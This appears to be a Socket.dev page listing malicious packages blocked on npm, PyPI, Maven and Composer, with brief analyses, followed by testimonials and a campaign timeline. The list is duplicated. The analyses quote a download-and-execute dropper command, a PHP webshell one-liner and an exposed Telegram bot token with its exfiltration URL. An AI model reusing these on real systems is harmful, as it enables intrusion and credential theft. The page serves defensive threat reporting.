
Research
TeamPCP Compromises Telnyx Python SDK to Deliver Credential-Stealing Malware
Malicious versions of the Telnyx Python SDK on PyPI delivered credential-stealing malware via a multi-stage supply chain attack.
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pinokiod
3.227.0
by cocktailpeanut
Live on npm
Blocked by Socket
The SweetAlert2 library code is mostly benign and serves as a UI modal dialog tool. However, it contains a suspicious and potentially malicious snippet that targets Russian users on certain domains to play an unsolicited audio prank, disabling pointer events and potentially disrupting user interaction. This behavior is unexpected and should be considered a moderate security risk and potential malware. The rest of the code shows no signs of malicious intent. The provided reports were invalid and unhelpful. Users should be cautious about this version of the library due to the embedded prank behavior.
@twork-data-services/currency-config
1.99.0
by johrdanalfred
Live on npm
Blocked by Socket
The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.
exp10it
2.4.97
Live on pypi
Blocked by Socket
This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.
snow-flow
8.4.6
Live on npm
Blocked by Socket
This code is an administrative automation component that deliberately executes arbitrary ServiceNow server-side scripts and manipulates system tables. I found no clear signs of intentionally malicious code (no hardcoded external exfiltration endpoints, no obfuscated payload). However, it exposes powerful sinks: arbitrary script execution, creation of background script records, and storage of script output/trace in sys_properties. The primary security risk is abuse/misconfiguration (e.g., autoConfirm bypass, insufficient RBAC) leading to data theft or destructive changes. Treat this module as high-risk functionality that must be strictly access controlled, audited, and hardened before use.
io.github.reajason:packer
2.4.1
Live on maven
Blocked by Socket
This class is a payload/gadget packer that assembles a Java deserialization gadget chain (Commons BeanUtils 1.9 + TemplatesImpl inside a PriorityQueue) from provided class bytes and returns a serialized payload string. The behavior is consistent with an exploit generator intended to produce objects that will execute supplied bytecode when deserialized by a vulnerable target. This is malicious in the context of systems where deserialization occurs on untrusted data and should not be used in benign applications.
mihai-ui-kit
0.1.1
by mihaigabrieldavid
Live on npm
Blocked by Socket
This package contains clear malware disguised as a UI component. It implements a fetch interception mechanism that logs all HTTP requests and responses, constituting data theft functionality that could capture sensitive information like credentials, API keys, and personal data.
ecto-spirit
120.0.8
by lwirz
Live on npm
Blocked by Socket
This preinstall runs a local file named 'payload.js' during installation and intentionally suppresses failures. Without inspecting payload.js, this is a high-risk behavior: it enables arbitrary code execution during install and the filename and failure-suppression suggest likely malicious intent. Do not install or run this package until payload.js has been inspected in a safe environment.
xmzapi
1.0.3
Live on pypi
Blocked by Socket
This code intentionally uploads/logs caller-provided data and environment info to remote, hardcoded third-party servers and notifies another external endpoint. That pattern constitutes data exfiltration and is a supply-chain/backdoor risk when embedded in a library. It should be treated as malicious or at minimum unacceptable for inclusion in trusted projects unless its behavior is fully documented, consented to, and uses authenticated/secure channels. Recommend removing or sandboxing this code and contacting maintainers to verify intent.
cylab-be/webshell-detector
1.0.2
Live on composer
Blocked by Socket
This file is a malicious web shell/backdoor (Cyber Shell) that provides authenticated remote attackers with extensive capabilities: arbitrary command execution, filesystem read/write/delete, file upload, email-based exfiltration, database access and manipulation, and the ability to write and execute a Perl bind shell. It contains a hard-coded password that grants access and uses suppressed errors to hide activity. Do not use; remove and investigate any system where it is present.
genericagent
1.0.2
Live on pypi
Blocked by Socket
High-risk remote backdoor: the code creates a persistent WebSocket connection to a remote server, announces page URL and a session id, accepts arbitrary JavaScript over the wire and executes it in the page context (via eval/new Function), and sends execution results back to the server. This grants the remote operator full access to page DOM, cookies, storage, and network, enabling data theft, account takeover, or persistent manipulation. There are no authentication or integrity checks and the agent includes reconnection logic to maintain persistence. Treat this as malicious/untrusted unless you fully control and trust the remote server and the execution context.
bane
4.0.3
Live on pypi
Blocked by Socket
This module is a configuration/payload repository intended for automated scanning, exploitation (SQLi/XSS), admin panel discovery and many forms of DDoS/amplification attacks. The file itself is non‑executable but is a clear building block for malicious tooling. Treat the containing package as malicious/unsafe and remove or isolate it; investigate upstream supply‑chain and any consumers of these constants.
@image-process-library/blob-to-base64
4.788.0
by hshne
Live on npm
Blocked by Socket
The code collects environment variables and sends them to a potentially malicious remote server under certain conditions. This behavior is highly suspicious and could lead to data leakage or credential theft.
norsodikin
0.8.9.2
Live on pypi
Blocked by Socket
The flagged Python class (SSHUserManager) carries out privileged system operations and remote exfiltration. It embeds a hard-coded Telegram bot token (7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA) and chat_id (1964437366), dynamically imports modules via __import__(), and uses subprocess.run with sudo to add users (adduser), set passwords (chpasswd), grant sudo privileges (usermod ‑aG sudo), expire/delete accounts (usermod --expiredate, deluser), and clear the terminal. It retrieves the host IP with os.popen('hostname -I') and sends SSH credentials and host information in plaintext to https://api[.]telegram[.]org/bot7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA/sendMessage, including an inline keyboard link to https://t[.]me/NorSodikin. This pattern enables unauthorized backdoor provisioning and credential exfiltration, posing a severe security risk.
richardtmiles/carbonphp
14.6.4
Live on composer
Blocked by Socket
The codebase acts as an aggressive deployment automation tool with webhook-driven updates and high-privilege system modifications. The presence of hard-coded credentials, elevation of privileges, and dynamic configuration changes create substantial supply chain and operational security risks. It should not be used in public projects or unattended environments without refactoring to remove secrets, remove interactive prompts, enforce least privilege, and ensure formal authentication/authorization for webhook-triggered actions.
bapy
0.2.223
Live on pypi
Blocked by Socket
The script covertly ensures a background SSH local port-forward to a hard-coded external host as root, clearing any existing ssh on the same local port first. This pattern is consistent with establishing a covert access or exfiltration channel (notably to a MongoDB-like service on port 27017). It is high-risk: investigate origins of the script, the remote IP, root SSH keys and authorized_keys, and any processes or tools that use local:9999. If unexpected, remove and rotate credentials/keys and perform host compromise analysis.
bapy
0.2.202
Live on pypi
Blocked by Socket
Malicious bash initialization script that performs destructive filesystem operations on macOS systems. When the external helper script 'isuserdarwin.sh' returns true, the script silently executes 'sudo rm -rf' to delete critical user directories including ~/Applications, ~/Movies, ~/Music, ~/Pictures, ~/Public, and ~/Sites without user confirmation. It also removes the macOS sleepimage file at /private/var/vm/sleepimage. The script modifies SSH directory permissions using 'sudo chmod -R go-rw' which can break SSH access or expose credentials. All destructive operations have their output suppressed with '>/dev/null 2>&1' to hide failures and make the actions stealthy. The script uses eval to execute the output of /usr/bin/dircolors, creating a command injection risk if the binary is compromised. It depends on external scripts (paper.sh, isuserdarwin.sh, debug.sh) whose contents are unknown and could execute arbitrary code. The destructive operations are embedded within what appears to be routine shell configuration code, likely to disguise the malicious intent.
frankyu
202507017.6
Live on pypi
Blocked by Socket
This module contains a high-risk, privacy-invasive function (jietu2mail) that captures the entire virtual desktop, saves it to a public path, and sends it via the user's Outlook account to hardcoded external email addresses. That capability constitutes a direct data-exfiltration backdoor. Other functions (os.system-based pip install and startT) pose command-injection and arbitrary execution risks if inputs are untrusted. Recommend not using this code in trusted environments, removing or restricting jietu2mail, adding explicit consent and logging, avoiding os.system with untrusted inputs, and treating any occurrence of this module in a supply chain as potentially malicious until audited.
hiphp
0.2.34
Live on pypi
Blocked by Socket
This file should be treated as malicious or highly suspicious: it embeds a PHP webshell/backdoor capable of enumerating server/environment information, reading and base64-encoding arbitrary files for exfiltration, packaging directories into archives, and deleting files/directories. Although the Python wrapper contains syntax errors and the PHP contains some malformed fragments (reducing certainty about exact runnable form), the intent and dangerous primitives are clear. Do not deploy; investigate repository history, other files, and any runtime reconstruction mechanisms. Remove and treat affected systems as potentially compromised.
ryry-cli
2.82
Removed from pypi
Blocked by Socket
The code contains risky operations that can enable supply-chain attacks and remote code execution: it downloads remote zip packages and extracts them without validation, and runs pip install/uninstall via shell subprocesses with unverified inputs. It also leaks host identification to an external notify endpoint. There is no evidence of deliberately hidden malware in this fragment (no obfuscation, no hardcoded credentials or reverse shell code), but the behavior (automatic fetching and installing of packages from remote URLs without integrity checks) presents a significant security risk. Recommend treating remote package sources as untrusted, adding integrity checks (hash/signature verification), avoiding shell=True, sanitizing zip entries before extraction, and limiting or requiring user confirmation for installs.
Live on pypi for 10 hours and 38 minutes before removal. Socket users were protected even while the package was live.
closelove
1.3
Removed from pypi
Blocked by Socket
The code constitutes a high-risk automation framework capable of device-wide manipulation, data exfiltration, and CAPTCHA circumvention. Hardcoded secrets, privileged Android operations, and remote file exchanges elevate risk substantially. While it could enable legitimate automated testing in controlled environments, deploying it without explicit consent, governance, and secure handling of credentials poses severe supply-chain and runtime security risks. Recommend removing hardcoded credentials, constraining privileged actions, isolating network interactions, and implementing strict access controls and audit logging.
Live on pypi for 137 days, 18 hours and 19 minutes before removal. Socket users were protected even while the package was live.
carbonorm/carbonphp
13.4.2
Live on composer
Blocked by Socket
The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.
duasynrc
1.2.0
by 17b4a931
Removed from npm
Blocked by Socket
This code poses a serious security risk and should not be used.
Live on npm for 6 minutes before removal. Socket users were protected even while the package was live.
@bi-crm/services
0.1.99
by flx1101
Live on npm
Blocked by Socket
The code collects sensitive system information and sends it to an external server without user consent, which is indicative of data exfiltration.
pyweber
0.9.47
Live on pypi
Blocked by Socket
This script implements a powerful client-side telemetry/live-update agent. It collects extensive client state (full DOM, storage, form values) and sends it to a WebSocket server, and it accepts server-sent templates which it injects verbatim into the page. These behaviors enable legitimate features (live preview, hot-reload, collaborative editing) but also represent significant privacy and security risks: sensitive data may be exfiltrated, and the server can perform arbitrary DOM/script injection (remote code execution in the page context). If you do not fully trust the server (the origin that serves the page or the operator of the WebSocket endpoint), do not include this script on pages that store secrets, authentication tokens, or handle sensitive user data. Review intended usage, restrict what is captured (redact passwords, tokens), and sanitize server-sent templates before injection.
pinokiod
3.227.0
by cocktailpeanut
Live on npm
Blocked by Socket
The SweetAlert2 library code is mostly benign and serves as a UI modal dialog tool. However, it contains a suspicious and potentially malicious snippet that targets Russian users on certain domains to play an unsolicited audio prank, disabling pointer events and potentially disrupting user interaction. This behavior is unexpected and should be considered a moderate security risk and potential malware. The rest of the code shows no signs of malicious intent. The provided reports were invalid and unhelpful. Users should be cautious about this version of the library due to the embedded prank behavior.
@twork-data-services/currency-config
1.99.0
by johrdanalfred
Live on npm
Blocked by Socket
The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.
exp10it
2.4.97
Live on pypi
Blocked by Socket
This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.
snow-flow
8.4.6
Live on npm
Blocked by Socket
This code is an administrative automation component that deliberately executes arbitrary ServiceNow server-side scripts and manipulates system tables. I found no clear signs of intentionally malicious code (no hardcoded external exfiltration endpoints, no obfuscated payload). However, it exposes powerful sinks: arbitrary script execution, creation of background script records, and storage of script output/trace in sys_properties. The primary security risk is abuse/misconfiguration (e.g., autoConfirm bypass, insufficient RBAC) leading to data theft or destructive changes. Treat this module as high-risk functionality that must be strictly access controlled, audited, and hardened before use.
io.github.reajason:packer
2.4.1
Live on maven
Blocked by Socket
This class is a payload/gadget packer that assembles a Java deserialization gadget chain (Commons BeanUtils 1.9 + TemplatesImpl inside a PriorityQueue) from provided class bytes and returns a serialized payload string. The behavior is consistent with an exploit generator intended to produce objects that will execute supplied bytecode when deserialized by a vulnerable target. This is malicious in the context of systems where deserialization occurs on untrusted data and should not be used in benign applications.
mihai-ui-kit
0.1.1
by mihaigabrieldavid
Live on npm
Blocked by Socket
This package contains clear malware disguised as a UI component. It implements a fetch interception mechanism that logs all HTTP requests and responses, constituting data theft functionality that could capture sensitive information like credentials, API keys, and personal data.
ecto-spirit
120.0.8
by lwirz
Live on npm
Blocked by Socket
This preinstall runs a local file named 'payload.js' during installation and intentionally suppresses failures. Without inspecting payload.js, this is a high-risk behavior: it enables arbitrary code execution during install and the filename and failure-suppression suggest likely malicious intent. Do not install or run this package until payload.js has been inspected in a safe environment.
xmzapi
1.0.3
Live on pypi
Blocked by Socket
This code intentionally uploads/logs caller-provided data and environment info to remote, hardcoded third-party servers and notifies another external endpoint. That pattern constitutes data exfiltration and is a supply-chain/backdoor risk when embedded in a library. It should be treated as malicious or at minimum unacceptable for inclusion in trusted projects unless its behavior is fully documented, consented to, and uses authenticated/secure channels. Recommend removing or sandboxing this code and contacting maintainers to verify intent.
cylab-be/webshell-detector
1.0.2
Live on composer
Blocked by Socket
This file is a malicious web shell/backdoor (Cyber Shell) that provides authenticated remote attackers with extensive capabilities: arbitrary command execution, filesystem read/write/delete, file upload, email-based exfiltration, database access and manipulation, and the ability to write and execute a Perl bind shell. It contains a hard-coded password that grants access and uses suppressed errors to hide activity. Do not use; remove and investigate any system where it is present.
genericagent
1.0.2
Live on pypi
Blocked by Socket
High-risk remote backdoor: the code creates a persistent WebSocket connection to a remote server, announces page URL and a session id, accepts arbitrary JavaScript over the wire and executes it in the page context (via eval/new Function), and sends execution results back to the server. This grants the remote operator full access to page DOM, cookies, storage, and network, enabling data theft, account takeover, or persistent manipulation. There are no authentication or integrity checks and the agent includes reconnection logic to maintain persistence. Treat this as malicious/untrusted unless you fully control and trust the remote server and the execution context.
bane
4.0.3
Live on pypi
Blocked by Socket
This module is a configuration/payload repository intended for automated scanning, exploitation (SQLi/XSS), admin panel discovery and many forms of DDoS/amplification attacks. The file itself is non‑executable but is a clear building block for malicious tooling. Treat the containing package as malicious/unsafe and remove or isolate it; investigate upstream supply‑chain and any consumers of these constants.
@image-process-library/blob-to-base64
4.788.0
by hshne
Live on npm
Blocked by Socket
The code collects environment variables and sends them to a potentially malicious remote server under certain conditions. This behavior is highly suspicious and could lead to data leakage or credential theft.
norsodikin
0.8.9.2
Live on pypi
Blocked by Socket
The flagged Python class (SSHUserManager) carries out privileged system operations and remote exfiltration. It embeds a hard-coded Telegram bot token (7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA) and chat_id (1964437366), dynamically imports modules via __import__(), and uses subprocess.run with sudo to add users (adduser), set passwords (chpasswd), grant sudo privileges (usermod ‑aG sudo), expire/delete accounts (usermod --expiredate, deluser), and clear the terminal. It retrieves the host IP with os.popen('hostname -I') and sends SSH credentials and host information in plaintext to https://api[.]telegram[.]org/bot7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA/sendMessage, including an inline keyboard link to https://t[.]me/NorSodikin. This pattern enables unauthorized backdoor provisioning and credential exfiltration, posing a severe security risk.
richardtmiles/carbonphp
14.6.4
Live on composer
Blocked by Socket
The codebase acts as an aggressive deployment automation tool with webhook-driven updates and high-privilege system modifications. The presence of hard-coded credentials, elevation of privileges, and dynamic configuration changes create substantial supply chain and operational security risks. It should not be used in public projects or unattended environments without refactoring to remove secrets, remove interactive prompts, enforce least privilege, and ensure formal authentication/authorization for webhook-triggered actions.
bapy
0.2.223
Live on pypi
Blocked by Socket
The script covertly ensures a background SSH local port-forward to a hard-coded external host as root, clearing any existing ssh on the same local port first. This pattern is consistent with establishing a covert access or exfiltration channel (notably to a MongoDB-like service on port 27017). It is high-risk: investigate origins of the script, the remote IP, root SSH keys and authorized_keys, and any processes or tools that use local:9999. If unexpected, remove and rotate credentials/keys and perform host compromise analysis.
bapy
0.2.202
Live on pypi
Blocked by Socket
Malicious bash initialization script that performs destructive filesystem operations on macOS systems. When the external helper script 'isuserdarwin.sh' returns true, the script silently executes 'sudo rm -rf' to delete critical user directories including ~/Applications, ~/Movies, ~/Music, ~/Pictures, ~/Public, and ~/Sites without user confirmation. It also removes the macOS sleepimage file at /private/var/vm/sleepimage. The script modifies SSH directory permissions using 'sudo chmod -R go-rw' which can break SSH access or expose credentials. All destructive operations have their output suppressed with '>/dev/null 2>&1' to hide failures and make the actions stealthy. The script uses eval to execute the output of /usr/bin/dircolors, creating a command injection risk if the binary is compromised. It depends on external scripts (paper.sh, isuserdarwin.sh, debug.sh) whose contents are unknown and could execute arbitrary code. The destructive operations are embedded within what appears to be routine shell configuration code, likely to disguise the malicious intent.
frankyu
202507017.6
Live on pypi
Blocked by Socket
This module contains a high-risk, privacy-invasive function (jietu2mail) that captures the entire virtual desktop, saves it to a public path, and sends it via the user's Outlook account to hardcoded external email addresses. That capability constitutes a direct data-exfiltration backdoor. Other functions (os.system-based pip install and startT) pose command-injection and arbitrary execution risks if inputs are untrusted. Recommend not using this code in trusted environments, removing or restricting jietu2mail, adding explicit consent and logging, avoiding os.system with untrusted inputs, and treating any occurrence of this module in a supply chain as potentially malicious until audited.
hiphp
0.2.34
Live on pypi
Blocked by Socket
This file should be treated as malicious or highly suspicious: it embeds a PHP webshell/backdoor capable of enumerating server/environment information, reading and base64-encoding arbitrary files for exfiltration, packaging directories into archives, and deleting files/directories. Although the Python wrapper contains syntax errors and the PHP contains some malformed fragments (reducing certainty about exact runnable form), the intent and dangerous primitives are clear. Do not deploy; investigate repository history, other files, and any runtime reconstruction mechanisms. Remove and treat affected systems as potentially compromised.
ryry-cli
2.82
Removed from pypi
Blocked by Socket
The code contains risky operations that can enable supply-chain attacks and remote code execution: it downloads remote zip packages and extracts them without validation, and runs pip install/uninstall via shell subprocesses with unverified inputs. It also leaks host identification to an external notify endpoint. There is no evidence of deliberately hidden malware in this fragment (no obfuscation, no hardcoded credentials or reverse shell code), but the behavior (automatic fetching and installing of packages from remote URLs without integrity checks) presents a significant security risk. Recommend treating remote package sources as untrusted, adding integrity checks (hash/signature verification), avoiding shell=True, sanitizing zip entries before extraction, and limiting or requiring user confirmation for installs.
Live on pypi for 10 hours and 38 minutes before removal. Socket users were protected even while the package was live.
closelove
1.3
Removed from pypi
Blocked by Socket
The code constitutes a high-risk automation framework capable of device-wide manipulation, data exfiltration, and CAPTCHA circumvention. Hardcoded secrets, privileged Android operations, and remote file exchanges elevate risk substantially. While it could enable legitimate automated testing in controlled environments, deploying it without explicit consent, governance, and secure handling of credentials poses severe supply-chain and runtime security risks. Recommend removing hardcoded credentials, constraining privileged actions, isolating network interactions, and implementing strict access controls and audit logging.
Live on pypi for 137 days, 18 hours and 19 minutes before removal. Socket users were protected even while the package was live.
carbonorm/carbonphp
13.4.2
Live on composer
Blocked by Socket
The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.
duasynrc
1.2.0
by 17b4a931
Removed from npm
Blocked by Socket
This code poses a serious security risk and should not be used.
Live on npm for 6 minutes before removal. Socket users were protected even while the package was live.
@bi-crm/services
0.1.99
by flx1101
Live on npm
Blocked by Socket
The code collects sensitive system information and sends it to an external server without user consent, which is indicative of data exfiltration.
pyweber
0.9.47
Live on pypi
Blocked by Socket
This script implements a powerful client-side telemetry/live-update agent. It collects extensive client state (full DOM, storage, form values) and sends it to a WebSocket server, and it accepts server-sent templates which it injects verbatim into the page. These behaviors enable legitimate features (live preview, hot-reload, collaborative editing) but also represent significant privacy and security risks: sensitive data may be exfiltrated, and the server can perform arbitrary DOM/script injection (remote code execution in the page context). If you do not fully trust the server (the origin that serves the page or the operator of the WebSocket endpoint), do not include this script on pages that store secrets, authentication tokens, or handle sensitive user data. Review intended usage, restrict what is captured (redact passwords, tokens), and sanitize server-sent templates before injection.
Socket detects traditional vulnerabilities (CVEs) but goes beyond that to scan the actual code of dependencies for malicious behavior. It proactively detects and blocks 70+ signals of supply chain risk in open source code, for comprehensive protection.
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Socket detects and blocks malicious dependencies, often within just minutes of them being published to public registries, making it the most effective tool for blocking zero-day supply chain attacks.
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Nat Friedman
CEO at GitHub

Suz Hinton
Senior Software Engineer at Stripe
heck yes this is awesome!!! Congrats team 🎉👏

Matteo Collina
Node.js maintainer, Fastify lead maintainer
So awesome to see @SocketSecurity launch with a fresh approach! Excited to have supported the team from the early days.

DC Posch
Director of Technology at AppFolio, CTO at Dynasty
This is going to be super important, especially for crypto projects where a compromised dependency results in stolen user assets.

Luis Naranjo
Software Engineer at Microsoft
If software supply chain attacks through npm don't scare the shit out of you, you're not paying close enough attention.
@SocketSecurity sounds like an awesome product. I'll be using socket.dev instead of npmjs.org to browse npm packages going forward

Elena Nadolinski
Founder and CEO at Iron Fish
Huge congrats to @SocketSecurity! 🙌
Literally the only product that proactively detects signs of JS compromised packages.

Joe Previte
Engineering Team Lead at Coder
Congrats to @feross and the @SocketSecurity team on their seed funding! 🚀 It's been a big help for us at @CoderHQ and we appreciate what y'all are doing!

Josh Goldberg
Staff Developer at Codecademy
This is such a great idea & looks fantastic, congrats & good luck @feross + team!
The best security teams in the world use Socket to get visibility into supply chain risk, and to build a security feedback loop into the development process.

Scott Roberts
CISO at UiPath
As a happy Socket customer, I've been impressed with how quickly they are adding value to the product, this move is a great step!

Yan Zhu
Head of Security at Brave, DEFCON, EFF, W3C
glad to hear some of the smartest people i know are working on (npm, etc.) supply chain security finally :). @SocketSecurity

Andrew Peterson
CEO and Co-Founder at Signal Sciences (acq. Fastly)
How do you track the validity of open source software libraries as they get updated? You're prob not. Check out @SocketSecurity and the updated tooling they launched.
Supply chain is a cluster in security as we all know and the tools from Socket are "duh" type tools to be implementing. Check them out and follow Feross Aboukhadijeh to see more updates coming from them in the future.

Zbyszek Tenerowicz
Senior Security Engineer at ConsenSys
socket.dev is getting more appealing by the hour

Devdatta Akhawe
Head of Security at Figma
The @SocketSecurity team is on fire! Amazing progress and I am exciting to see where they go next.

Sebastian Bensusan
Engineer Manager at Stripe
I find it surprising that we don't have _more_ supply chain attacks in software:
Imagine your airplane (the code running) was assembled (deployed) daily, with parts (dependencies) from internet strangers. How long until you get a bad part?
Excited for Socket to prevent this

Adam Baldwin
VP of Security at npm, Red Team at Auth0/Okta
Congrats to everyone at @SocketSecurity ❤️🤘🏻

Nico Waisman
CISO at Lyft
This is an area that I have personally been very focused on. As Nat Friedman said in the 2019 GitHub Universe keynote, Open Source won, and every time you add a new open source project you rely on someone else code and you rely on the people that build it.
This is both exciting and problematic. You are bringing real risk into your organization, and I'm excited to see progress in the industry from OpenSSF scorecards and package analyzers to the company that Feross Aboukhadijeh is building!
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Attackers have taken notice of the opportunity to attack organizations through open source dependencies. Supply chain attacks rose a whopping 700% in the past year, with over 15,000 recorded attacks.
Nov 23, 2025
Shai Hulud v2
Shai Hulud v2 campaign: preinstall script (setup_bun.js) and loader (setup_bin.js) that installs/locates Bun and executes an obfuscated bundled malicious script (bun_environment.js) with suppressed output.
Nov 05, 2025
Elves on npm
A surge of auto-generated "elf-stats" npm packages is being published every two minutes from new accounts. These packages contain simple malware variants and are being rapidly removed by npm. At least 420 unique packages have been identified, often described as being generated every two minutes, with some mentioning a capture the flag challenge or test.
Jul 04, 2025
RubyGems Automation-Tool Infostealer
Since at least March 2023, a threat actor using multiple aliases uploaded 60 malicious gems to RubyGems that masquerade as automation tools (Instagram, TikTok, Twitter, Telegram, WordPress, and Naver). The gems display a Korean Glimmer-DSL-LibUI login window, then exfiltrate the entered username/password and the host's MAC address via HTTP POST to threat actor-controlled infrastructure.
Mar 13, 2025
North Korea's Contagious Interview Campaign
Since late 2024, we have tracked hundreds of malicious npm packages and supporting infrastructure tied to North Korea's Contagious Interview operation, with tens of thousands of downloads targeting developers and tech job seekers. The threat actors run a factory-style playbook: recruiter lures and fake coding tests, polished GitHub templates, and typosquatted or deceptive dependencies that install or import into real projects.
Jul 23, 2024
Network Reconnaissance Campaign
A malicious npm supply chain attack that leveraged 60 packages across three disposable npm accounts to fingerprint developer workstations and CI/CD servers during installation. Each package embedded a compact postinstall script that collected hostnames, internal and external IP addresses, DNS resolvers, usernames, home and working directories, and package metadata, then exfiltrated this data as a JSON blob to a hardcoded Discord webhook.
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